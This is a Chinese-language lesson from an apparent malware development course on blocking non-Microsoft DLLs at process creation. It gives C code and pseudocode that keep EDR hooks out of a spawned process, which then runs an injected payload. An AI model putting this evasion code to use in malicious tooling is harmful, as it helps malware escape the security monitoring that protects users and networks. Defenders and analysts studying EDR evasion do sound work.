模块 90 - 阻断 DLL 策略 (Block DLL Policy)
恶意软件开发课程 - 阻断 DLL 策略 (Block DLL Policy)
模块 90 - 阻断 DLL 策略 (Block DLL Policy)#
阻断 DLL 策略#
简介#
本模块介绍一种技术,通过特殊的进程创建标志,阻止安全产品将钩子(Hooks)安装到本地或远程进程中。该标志会阻止非微软签名的 DLL 加载到已创建的进程中,从而阻止它们安装钩子或执行其他可能导致运行时检测的安全缓解措施。
💡 初学者提示:VIP 俱乐部规则
类比理解: 想象你正在举办一场私人派对(创建进程)。
- 通常情况下,只要有人想进,保安都会放行(默认允许加载任何 DLL)。这就导致了想来捣乱的人(EDR 的 DLL)也能混进来。
- Block DLL Policy 就像是给派对制定了严格的 VIP 规则:只有持有**官方通行证(微软签名)**的人才能进入。
- 因为大多数 EDR 厂商的 DLL 虽然合法,但并不属于“操作系统核心组件(微软签名)”,所以它们会被拒之门外。
标志#
这个特殊的进程创建标志是 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON,可以使用 UpdateProcThreadAttribute WinAPI 在新创建的进程上设置。该标志属于微软创建的一系列 缓解策略 (Mitigation Policies),用于防止针对调用进程的各种攻击。
我们将在 UpdateProcThreadAttribute 中使用 PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 属性来实现这一点。
在远程进程上阻断 DLL#
CreateProcessWithBlockDllPolicy 是一个自定义函数,它接收远程可执行文件的路径 (lpProcessPath),并在启用阻断 DLL 策略的情况下创建进程。
不幸的是,这种实现只对子进程有效。也就是说,如果我们在 implementation.exe 中运行代码,implementation.exe 本身并不会被保护(因为它已经启动了),只有它生成的子进程(例如 notepad.exe)会被保护。
BOOL CreateProcessWithBlockDllPolicy(IN LPCSTR lpProcessPath, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
STARTUPINFOEXA SiEx = { 0 };
PROCESS_INFORMATION Pi = { 0 };
SIZE_T sAttrSize = NULL;
PVOID pAttrBuf = NULL;
// ... 初始化结构体 ...
// 1. 获取 PROC_THREAD_ATTRIBUTE_LIST 所需大小
InitializeProcThreadAttributeList(NULL, 1, NULL, &sAttrSize);
pAttrBuf = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sAttrSize);
// 2. 初始化列表
if (!InitializeProcThreadAttributeList(pAttrBuf, 1, NULL, &sAttrSize)) {
return FALSE;
}
// 3. 启用阻断非微软签名 DLL 的策略
DWORD64 dwPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
// 4. 分配属性
if (!UpdateProcThreadAttribute(pAttrBuf, NULL, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dwPolicy, sizeof(DWORD64), NULL, NULL)) {
return FALSE;
}
SiEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttrBuf;
// 5. 创建进程 (使用 EXTENDED_STARTUPINFO_PRESENT)
if (!CreateProcessA(
NULL,
lpProcessPath,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT, // 必须指定此标志
NULL,
NULL,
&SiEx.StartupInfo,
&Pi)) {
return FALSE;
}
// ... 清理与返回 ...
}c在本地进程上阻断 DLL#
要在本地进程上启用此策略,我们可以使用类似 Linux fork 的实现方法:本地进程创建一个启用了此缓解策略的自身的副本。为了防止无限循环(进程 A 创建 A’,A’ 又创建 A”…),我们需要传递一个参数给该进程的第二个实例,指示它停止运行 CreateProcessWithBlockDllPolicy 函数,转而执行 Payload。
伪代码逻辑如下:
int main (int argc, char* argv[]){
if (argc == 2 && (strcmp(argv[1], STOP_ARG) == 0)) {
// 到了这里,说明我是“子进程 A'”,我已经启用了 Block DLL 策略
// 执行 Payload 注入代码
}
else {
// 到了这里,说明我是“父进程 A”,我还没有被保护
// 我需要创建另一个我自己的副本,并开启保护
// 并且把 'STOP_ARG' 作为参数传给它,告诉它别再 fork 了
}
}c运行时设置阻断 DLL 策略#
除了使用 CreateProcess,还有一种方法可以在运行时使用 SetMitigationPolicy ↗ WinAPI 和 ProcessSignaturePolicy 标志在本地级别激活缓解策略。
虽然这种方法看起来更省事,但要注意:执行 SetProcessMitigationPolicy 时,EDR 可能已经注入了 DLL。这个策略通常只阻止后续的 DLL 加载,而不会把已经加载进去的 DLL 踢出来。因此,这种方法可能为时已晚。
int main() {
// 此时 Block DLL 策略尚未启用,EDR 可能已经注入了
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY Struct = { 0 };
Struct.MicrosoftSignedOnly = 1;
if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &Struct, sizeof(Struct))) {
// 失败处理
}
// 本地进程现在启用了策略 - 但之前的 Hook 可能仍然存在
}c总结#
遗憾的是,这种方法对文件已经过微软数字签名的 EDR 无效。因为该策略允许加载微软签名的二进制文件,所以如果 EDR 厂商获得了微软的交叉签名或认证(这种情况虽然在减少但仍然存在,且很多驱动级保护是微软认证的),或者利用已在白名单中的 DLL 进行侧加载,这种方法可能会失效。但对于大多数普通的第三方注入式 DLL,这仍然是一个极其有效的阻断手段。